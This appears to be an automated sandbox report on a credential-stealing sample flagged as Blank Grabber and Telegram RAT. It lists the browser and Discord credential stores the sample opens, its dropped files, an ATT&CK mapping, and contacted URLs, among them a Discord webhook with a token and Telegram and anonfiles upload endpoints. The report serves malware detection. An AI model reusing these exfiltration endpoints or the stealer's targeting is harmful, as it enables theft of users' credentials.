Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\5bc1a347-c482-475c-a573-03c10998aeea
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\temporary
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync App Settings
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\crashes
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\default
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.files
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm\index-dir
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\WebStorage
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_fhihpiojkbmbpdjeoajapmgkhlnakfjf
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Network
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore-backups
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\ls-archive.sqlite
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\wasm
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\to-be-removed
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\security_state
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_kefjledonklijopmnomlcbpllchaibag
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\tmp
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\000003.log
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store\Encryption
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GPUCache
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.files
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\db
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SegmentInfoDB
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_fmgjjmmmlfnkbppncabfkddbjimcfncm
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean

Tries to steal communication platform credentials (via file / registry access)

Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Discord
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\DiscordCanary
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\DiscordPTB
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\DiscordDevelopment

Source: Yara match	File source: 00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: cmd.exe PID: 7280, type: MEMORYSTR

Remote Access Functionality

Yara detected Blank Grabber

Source: Yara match	File source: 00000001.00000002.2096102942.000001C916489000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1701296843.00000162C4354000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2098275549.000001C916C2C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1701296843.00000162C4352000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2090937481.000001C917404000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: cmd.exe PID: 7264, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: cmd.exe PID: 7280, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\_MEI72642\rarreg.key, type: DROPPED

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: cmd.exe PID: 7280, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	241 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	3 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	2 Registry Run Keys / Startup Folder	1 Access Token Manipulation	11 Deobfuscate/Decode Files or Information	LSASS Memory	3 File and Directory Discovery	Remote Desktop Protocol	2 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	Logon Script (Windows)	11 Process Injection	21 Obfuscated Files or Information	Security Account Manager	58 System Information Discovery	SMB/Windows Admin Shares	11 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	3 PowerShell	Login Hook	2 Registry Run Keys / Startup Folder	11 Software Packing	NTDS	161 Security Software Discovery	Distributed Component Object Model	1 Clipboard Data	5 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	151 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	151 Virtualization/Sandbox Evasion	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Access Token Manipulation	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	11 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
cmd.exe	37%	ReversingLabs	Win64.Trojan.Generic

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\Temp\_MEI72642\VCRUNTIME140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI72642\_bz2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI72642\_ctypes.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI72642\_decimal.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI72642\_hashlib.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI72642\_lzma.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI72642\_queue.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI72642\_socket.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI72642\_sqlite3.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI72642\_ssl.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI72642\libcrypto-1_1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI72642\libffi-7.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI72642\libssl-1_1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI72642\python310.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI72642\select.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI72642\sqlite3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI72642\unicodedata.pyd	0%	ReversingLabs

Source	Detection	Scanner	Label
http://ocsp.sectigoc	0%	Avira URL Cloud	safe
http://crl.comodoi	0%	Avira URL Cloud	safe
http://crl.microsus	0%	Avira URL Cloud	safe
https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warningsC	0%	Avira URL Cloud	safe
http://crl.comodo	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
discord.com	162.159.128.233	true	false		high
ip-api.com	208.95.112.1	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://discord.com/api/webhooks/1309732604697772032/jYDmGek7yWvABusaZDozvumeMuAZjheHcNL9cOnpMCpam2eP5UOyLvUjSMysvJJlJbg0	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	cmd.exe, 00000001.00000003.1935481751.000001C9168CC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Blank-c/BlankOBF	cmd.exe, 00000001.00000003.1711260677.000001C916970000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1712399231.000001C916970000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1711786207.000001C916970000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1711452846.000001C916D3A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot%s/%s	cmd.exe, 00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.avito.ru/	cmd.exe, 00000001.00000002.2098986140.000001C917160000.00000004.00001000.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	cmd.exe, 00000001.00000003.1935481751.000001C9168CC000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	cmd.exe	false		high
https://github.com/Blank-c/Blank-Grabberi	cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ctrip.com/	cmd.exe, 00000001.00000002.2100068134.000001C9179B8000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.2091061273.000001C916C8A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#	cmd.exe	false		high
http://www.microsoft.co	powershell.exe, 0000002A.00000002.1920794731.00000216A4D78000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.28.dr	false		high
https://python.org/dev/peps/pep-0263/	cmd.exe, 00000001.00000002.2103718969.00007FFDFB784000.00000040.00000001.01000000.00000004.sdmp	false		high
https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#	cmd.exe, 00000001.00000003.1705560173.000001C914463000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2095198142.000001C9143C0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.leboncoin.fr/	cmd.exe, 00000001.00000002.2100068134.000001C9179C8000.00000004.00001000.00020000.00000000.sdmp	false		high
http://ocsp.sectigoc	cmd.exe, 00000000.00000002.2112093875.00000162C4338000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://tools.ietf.org/html/rfc2388#section-4.4	cmd.exe, 00000001.00000002.2096102942.000001C916430000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/Prod.C:	edb.log.28.dr	false		high
https://weibo.com/	cmd.exe, 00000001.00000002.2100068134.000001C9179B8000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2100068134.000001C9179C8000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2100068134.000001C917A04000.00000004.00001000.00020000.00000000.sdmp	false		high
https://api.anonfiles.com/upload	cmd.exe, 00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.msn.com	cmd.exe, 00000001.00000002.2100068134.000001C917A74000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.2091061273.000001C916C79000.00000004.00000020.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 0000000A.00000002.1921700261.0000022BECA36000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.1908083358.000002169CC80000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.1859004442.000002168E42F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.1908083358.000002169CB3E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://discord.com/api/v9/users/	cmd.exe, 00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/urllib3/urllib3/issues/2192#issuecomment-821832963	cmd.exe, 00000001.00000002.2098654232.000001C916D30000.00000004.00001000.00020000.00000000.sdmp	false		high
http://crl.microsus	powershell.exe, 0000000A.00000002.1941584429.0000022BF4FD3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.telegram.org/bot%s/%sp	cmd.exe, 00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.reddit.com/	cmd.exe, 00000001.00000002.2100068134.000001C9179B8000.00000004.00001000.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 0000000A.00000002.1861065562.0000022BDC9C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.1859004442.000002168CAC1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.ca/	cmd.exe, 00000001.00000002.2098986140.000001C917160000.00000004.00001000.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 0000001C.00000003.1775846241.00000240CA8C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.28.dr, edb.log.28.dr	false		high
https://docs.python.org/3/library/importlib.html#importlib.abc.ExecutionLoader.get_filename	cmd.exe, 00000001.00000003.1705560173.000001C914463000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1705592637.000001C914409000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2095490915.000001C915C70000.00000004.00001000.00020000.00000000.sdmp	false		high
https://urllib3.readthedocs.io/en/latest/advanced-usage.html#https-proxy-error-http-proxy	cmd.exe, 00000001.00000002.2098765612.000001C916E50000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688	cmd.exe, 00000001.00000003.1705560173.000001C914463000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2095490915.000001C915CFC000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.ebay.co.uk/	cmd.exe, 00000001.00000002.2100068134.000001C9179B8000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.2091061273.000001C916C8A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000002A.00000002.1859004442.000002168E3A8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 0000000A.00000002.1861065562.0000022BDCBE8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ebay.de/	cmd.exe, 00000001.00000002.2100068134.000001C9179B8000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000002A.00000002.1859004442.000002168E3A8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_code	cmd.exe, 00000001.00000003.1705560173.000001C914463000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2095490915.000001C915CFC000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1705592637.000001C914409000.00000004.00000020.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 0000002A.00000002.1859004442.000002168D998000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader	cmd.exe, 00000001.00000003.1705560173.000001C914463000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2095198142.000001C9143C0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.amazon.com/	cmd.exe, 00000001.00000002.2098986140.000001C917160000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.2091061273.000001C916C8A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 0000002A.00000002.1908083358.000002169CB3E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	cmd.exe, 00000001.00000003.1935481751.000001C9168CC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://httpbin.org/	cmd.exe, 00000001.00000002.2097860677.000001C916A25000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.comodoi	cmd.exe, 00000001.00000003.2092429001.000001C91686B000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1756903455.000001C91687D000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2096563852.000001C91686B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 0000001C.00000002.2945905884.00000240CA600000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s	cmd.exe, 00000000.00000003.1701072162.00000162C434F000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.dr	false		high
https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.exec_module	cmd.exe, 00000001.00000003.1705560173.000001C914463000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2095490915.000001C915CFC000.00000004.00001000.00020000.00000000.sdmp	false		high
https://docs.python.org/3/library/importlib.html#importlib.abc.MetaPathFinder.invalidate_caches	cmd.exe, 00000001.00000003.1705560173.000001C914463000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2095490915.000001C915C70000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	cmd.exe, 00000001.00000003.1935481751.000001C9168CC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	cmd.exe, 00000001.00000003.1758937487.000001C9168E4000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1788462213.000001C9168E4000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1758937487.000001C91688E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.youtube.com/	cmd.exe, 00000001.00000002.2100068134.000001C9179B8000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.2091061273.000001C916C8A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://allegro.pl/	cmd.exe, 00000001.00000002.2100068134.000001C9179B8000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 0000002A.00000002.1859004442.000002168E3A8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://hg.python.org/cpython/file/603b4d593758/Lib/socket.py#l535	cmd.exe, 00000001.00000002.2097860677.000001C9169B8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy	cmd.exe, 00000001.00000003.1705560173.000001C914463000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2095198142.000001C9143C0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://MD8.mozilla.org/1/m	cmd.exe, 00000001.00000002.2098403824.000001C916CB7000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1794009198.000001C916CB6000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2100068134.000001C917A04000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.1936188709.000001C916CB7000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.sectigo.com0$	cmd.exe	false		high
https://www.bbc.co.uk/	cmd.exe, 00000001.00000002.2100068134.000001C9179B8000.00000004.00001000.00020000.00000000.sdmp	false		high
https://bugzilla.mo	cmd.exe, 00000001.00000002.2100068134.000001C917A04000.00000004.00001000.00020000.00000000.sdmp	false		high
http://tools.ietf.org/html/rfc6125#section-6.4.3	cmd.exe, 00000001.00000002.2098765612.000001C916E50000.00000004.00001000.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot%s/%s)	cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 0000000A.00000002.1861065562.0000022BDCBE8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google.com/mail	cmd.exe, 00000001.00000002.2097860677.000001C916A25000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2096563852.000001C916829000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000001.00000003.2092429001.000001C916827000.00000004.00000020.00020000.00000000.sdmp	false		high
https://packaging.python.org/specifications/entry-points/	cmd.exe, 00000001.00000002.2098872517.000001C916F80000.00000004.00001000.00020000.00000000.sdmp, cmd.exe, 00000001.00000002.2098765612.000001C916E50000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py	cmd.exe, 00000001.00000002.2095198142.000001C9143C0000.00000004.00000020.00020000.00000000.sdmp	false		high
